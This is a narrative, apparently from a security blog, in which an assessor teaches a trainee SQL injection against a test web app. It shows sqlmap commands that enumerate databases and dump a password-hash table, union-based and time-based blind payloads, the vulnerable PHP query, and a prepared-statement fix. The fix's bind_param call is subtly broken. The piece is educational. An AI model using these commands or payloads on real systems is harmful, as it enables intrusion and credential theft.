SQL Injection Is Not a Suggestion
The new web app at vulnerable-app.example has a search function. The Operator demonstrates why input sanitization isn't optional, featuring SQLMap, union-based injection, and entirely fictional data dumps.
The search box accepted a single quote and returned the entire database schema.
The Assessment Request
Management commissioned a new web application. Internal development. No security review. Deployed to vulnerable-app.example on Friday afternoon—always Friday afternoon—with a cheerful memo about "agile delivery" and "moving fast."
Monday morning brought a different memo. This one requested "a quick security check, nothing formal" before rolling it out company-wide. I opened the site. A search function greeted me. Bold. Trusting. Magnificently unprotected.
I entered a single quote into the search field: '
The application responded with a SQL error message. Complete with table names, column definitions, and what appeared to be the developer's unfiltered panic rendered as a stack trace.
I documented this for posterity. The TTY would learn about injection today.
The Educational Demonstration
OPERATOR: "Watch carefully. This is what happens when developers trust user input."
I pulled up a terminal and launched SQLMap, the automated SQL injection tool that turns vulnerable applications into educational experiences:
$ sqlmap -u "http://vulnerable-app.example/search.php?query=test" --batch --banner
[*] Testing connection to target URL
[*] Testing parameter 'query' for SQL injection
[*] Parameter 'query' is vulnerable (MySQL)
[*] Retrieving banner
Database: MySQL 8.0.34
The TTY's eyes widened.
TTY: "Is that... our production database?"
OPERATOR: "No. It's running on
192.0.2.47in the test network. Fortunately. Unfortunately, it's architecturally identical to what they planned for production."
I continued the demonstration. SQLMap has options. Many options. We'd use the educational ones.
$ sqlmap -u "http://vulnerable-app.example/search.php?query=test" --dbs
Available databases:
[*] information_schema
[*] company_data
[*] user_accounts
[*] hr_records
OPERATOR: "Notice anything concerning?"
The TTY processed this.
TTY: "That's... all of our databases. From one search box?"
OPERATOR: "Correct. Union-based SQL injection. The application concatenates user input directly into SQL queries. SQLMap detected it in approximately four seconds."
I pulled up the vulnerable code from the repository. The developer had written this masterpiece:
$query = $_GET['query'];
$sql = "SELECT * FROM products WHERE name LIKE '%" . $query . "%'";
$result = mysqli_query($conn, $sql);No sanitization. No parameterization. No prepared statements. Just raw, unfiltered trust in the goodness of human nature and URL parameters.
OPERATOR: "Let me show you what happens next."
I deployed SQLMap's escalation features.
$ sqlmap -u "http://vulnerable-app.example/search.php?query=test" \
-D user_accounts -T employees --dump
Table: employees
[47 entries]
+----+----------------+------------------+
| id | username | password_hash |
+----+----------------+------------------+
| 1 | admin | 5f4dcc3b5aa76... |
| 2 | jdoe | e10adc3949ba5... |
| 3 | msmith | 098f6bcd46217... |
[...]
Fictional data. Entirely fictional. Generated for testing. But the technique was authentic. The vulnerability was textbook. The implications were educational.
TTY: "How is this possible?"
The TTY asked with appropriate horror.
OPERATOR: "The application doesn't validate input. Watch what SQLMap does under the hood."
I showed them the injection payload:
$ sqlmap -u "http://vulnerable-app.example/search.php?query=test" \
--technique=U --dump --verbose
[*] Payload: test' UNION SELECT null,username,password_hash FROM user_accounts--
OPERATOR: "It appends a UNION statement. The database helpfully combines the search results with whatever data we request. In this case, usernames and password hashes."
The TTY was learning. Strategic horror is pedagogically effective.
The Time-Based Lesson
OPERATOR: "Now, let me show you the subtle approach."
Some applications don't return error messages. Some developers read approximately one security article and suppress database errors. This complicates injection but doesn't prevent it.
$ sqlmap -u "http://vulnerable-app.example/search.php?query=test" \
--technique=T --time-sec=2
[*] Testing time-based blind SQL injection
[*] Payload: test' AND SLEEP(2)--
[*] Response time: 2.04 seconds
[*] Parameter is vulnerable to time-based injection
OPERATOR: "Time-based blind injection. We can't see the data directly. But we can ask yes-or-no questions. If the answer is yes, the database sleeps for two seconds. If no, it responds immediately."
The TTY processed this.
TTY: "You're asking the database questions... one character at a time?"
OPERATOR: "Exactly. SQLMap automates it. 'Is the first character of the admin password an A?' Sleep says yes. 'Is it a B?' No sleep says no. Repeat for every character of every field. Slower, but equally effective."
[*] Retrieving password hash for user 'admin'
[*] Testing character 1: 5
[*] Testing character 2: f
[*] Testing character 3: 4
[...18 minutes later...]
[*] Retrieved: 5f4dcc3b5aa765d61d8327deb882cf99
TTY: "Eighteen minutes to extract one hash."
OPERATOR: "Correct. But it works when error-based injection fails. Defense in depth isn't about preventing every attack. It's about making attacks expensive enough that attackers go elsewhere."
I paused for effect.
OPERATOR: "Unfortunately, this application makes attacks cheap."
The Remediation Discussion
I pulled up the fix. The TTY needed to understand the solution as thoroughly as the problem.
OPERATOR: "Prepared statements."
I modified the code:
$query = $_GET['query'];
$sql = "SELECT * FROM products WHERE name LIKE ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "s", "%".$query."%");
mysqli_stmt_execute($stmt);OPERATOR: "The database now treats user input as data, not code. The query structure is fixed. Parameters are escaped automatically. SQL injection becomes theoretically impossible—or at minimum, significantly harder."
The TTY studied the code.
TTY: "That's... it? That's the entire fix?"
OPERATOR: "That's it. Input sanitization isn't optional. It's not a suggestion. It's the difference between a functional search box and an educational incident report."
I compiled my findings. Screenshots of SQLMap output. Code snippets. Remediation recommendations. A timeline showing eighteen minutes from initial access to complete database extraction.
The report went to management with high priority flags. The subject line: "URGENT: Production deployment blocked pending security review."
They replied within minutes. Apparently "agile delivery" has exceptions.
The Operator's Notes
The application never made it to production. The developer attended a security training session. The TTY asked excellent questions about parameterized queries and bind variables. I documented everything, naturally.
The vulnerable test instance remains available at vulnerable-app.example—airgapped, monitored, and serving as a permanent training environment. Sometimes education requires a sandbox. Sometimes it requires SQLMap. Often, it requires both.
The moral: Trust nothing that comes from user input. Especially search boxes. Especially on Friday deployments.
Documented for posterity. The database remains secure. The TTY is learning.